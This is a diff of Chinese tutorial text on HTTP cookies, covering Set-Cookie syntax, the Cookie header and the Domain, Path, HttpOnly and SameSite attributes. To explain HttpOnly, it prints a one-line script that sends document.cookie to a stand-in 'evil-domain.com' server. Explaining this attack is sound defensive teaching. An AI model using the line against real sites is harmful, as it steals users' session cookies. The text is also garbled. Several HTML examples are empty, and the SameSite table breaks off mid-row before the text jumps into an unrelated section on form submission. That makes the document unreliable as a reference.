+一个`Set-Cookie`字段里面,可以同时包括多个属性,没有次序的要求。
+
+```http
+Set-Cookie: =; Domain=; Secure; HttpOnly
+```
+
+下面是一个例子。
+
+```http
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+```
+
+如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的`key`、`domain`、`path`和`secure`都匹配。举例来说,如果原始的 Cookie 是用如下的`Set-Cookie`设置的。
+
+```http
+Set-Cookie: key1=value1; domain=example.com; path=/blog
+```
+
+改变上面这个 Cookie 的值,就必须使用同样的`Set-Cookie`。
+
+```http
+Set-Cookie: key1=value2; domain=example.com; path=/blog
+```
+
+只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。
+
+```http
+Set-Cookie: key1=value2; domain=example.com; path=/
+```
+
+上面的命令设置了一个全新的同名 Cookie,但是`path`属性不一样。下一次访问`example.com/blog`的时候,浏览器将向服务器发送两个同名的 Cookie。
+
+```http
+Cookie: key1=value1; key1=value2
+```
+
+上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。
+
+### HTTP 请求:Cookie 的发送
+
+浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的`Cookie`字段。
+
+```http
+Cookie: foo=bar
+```
+
+上面代码会向服务器发送名为`foo`的 Cookie,值为`bar`。
+
+`Cookie`字段可以包含多个 Cookie,使用分号(`;`)分隔。
+
+```http
+Cookie: name=value; name2=value2; name3=value3
+```
+
+下面是一个例子。
+
+```http
+GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+```
+
+服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。
+
+- Cookie 的各种属性,比如何时过期。
+- 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。
+
+## Cookie 的属性
+
+### Expires,Max-Age
+
+`Expires`属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用`Date.prototype.toUTCString()`进行格式转换。
+
+```http
+Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+```
+
+如果不设置该属性,或者设为`null`,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。
+
+`Max-Age`属性指定从现在开始 Cookie 存在的秒数,比如`60 * 60 * 24 * 365`(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
+
+如果同时指定了`Expires`和`Max-Age`,那么`Max-Age`的值将优先生效。
+
+如果`Set-Cookie`字段没有指定`Expires`或`Max-Age`属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。
+
+### Domain,Path
+
+`Domain`属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。
+
+服务器设定 Cookie 时,如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。如果当前域名是一个 IP 地址,则不得设置 Domain 属性。
+
+如果指定 Domain 属性,需要遵守下面规则:Domain 属性只能是当前域名或者当前域名的上级域名,但设为上级域名时,不能设为顶级域名或公共域名。(顶级域名指的是 .com、.net 这样的域名,公共域名指的是开放给外部用户设置子域名的域名,比如 github.io。)如果不符合上面这条规则,浏览器会拒绝设置这个 Cookie。
+
+举例来说,当前域名为`x.y.z.com`,那么 Domain 属性可以设为`x.y.z.com`,或者`y.z.com`,或者`z.com`,但不能设为`foo.x.y.z.com`,或者`another.domain.com`。
+
+另一个例子是,当前域名为`wangdoc.github.io`,则 Domain 属性只能设为`wangdoc.github.io`,不能设为`github.io`,因为后者是一个公共域名。
+
+浏览器发送 Cookie 时,Domain 属性必须与当前域名一致,或者是当前域名的上级域名(公共域名除外)。比如,Domain 属性是`y.z.com`,那么适用于`y.z.com`、`x.y.z.com`、`foo.x.y.z.com`等域名。再比如,Domain 属性是公共域名`github.io`,那么只适用于`github.io`这个域名本身,不适用于它的子域名`wangdoc.github.io`。
+
+`Path`属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,`Path`属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,`Path`属性是`/`,那么请求`/docs`路径也会包含该 Cookie。当然,前提是 Domain 属性必须符合条件。
+
+### Secure,HttpOnly
+
+`Secure`属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的`Secure`属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
+
+`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是`document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
+
+```javascript
+(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+```
+
+上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的`HttpOnly`属性,上面代码就不会读到该 Cookie。
+
+### SameSite
+
+Chrome 51 开始,浏览器的 Cookie 新增加了一个`SameSite`属性,用来防止 CSRF 攻击和用户追踪。
+
+Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站`your-bank.com`,银行服务器发来了一个 Cookie。
+
+```http
+Set-Cookie:id=a3fWa;
+```
+
+用户后来又访问了恶意网站`malicious.com`,上面有一个表单。
+
+```html
+
+```
+
+用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,官网的表单一般都带有一个随机 token,官网服务器通过验证这个随机 token,确认是否为真实请求。
+
+```html
+
+```
+
+这种第三方网站引导而附带发送的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。
+
+```html
+
+```
+
+浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。
+
+Cookie 的`SameSite`属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。
+
+> - Strict
+> - Lax
+> - None
+
+**(1)Strict**
+
+`Strict`最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
+
+```http
+Set-Cookie: CookieName=CookieValue; SameSite=Strict;
+```
+
+这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
+
+**(2)Lax**
+
+`Lax`规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
+
+```html
+Set-Cookie: CookieName=CookieValue; SameSite=Lax;
+```
+
+导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
+
+| 请求类型 | 示例 | 正常情况 | Lax |
+|-----------|:------------------------------------:|------------:|-------------|
+| 链接 | `` | 发送 Cookie | 发送 Cookie |
+| 预加载 | `` | 发送 Cookie | 发送 Cookie |
+| GET 表单 | `
+```
+
+上面代码就是一个简单的表单,包含三个控件:用户名输入框、密码输入框和提交按钮。
+
+用户点击“提交”按钮,每一个控件都会生成一个键值对,键名是控件的`name`属性,键值是控件的`value`属性,键名和键值之间由等号连接。比如,用户名输入框的`name`属性是`user_name`,`value`属性是用户输入的值,假定是“张三”,提交到服务器的时候,就会生成一个键值对`user_name=张三`。
+
+所有的键值对都会提交到服务器。但是,提交的数据格式跟`
+```
+
+上面表单就包含一个`submit`控件,点击这个控件,浏览器就会把表单数据向服务器提交。
+
+注意,表单里面的`